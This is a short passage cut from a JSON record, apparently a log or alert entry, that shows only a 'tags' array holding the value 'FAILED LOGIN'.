  "tags": [
    "FAILED LOGIN"
  ]
}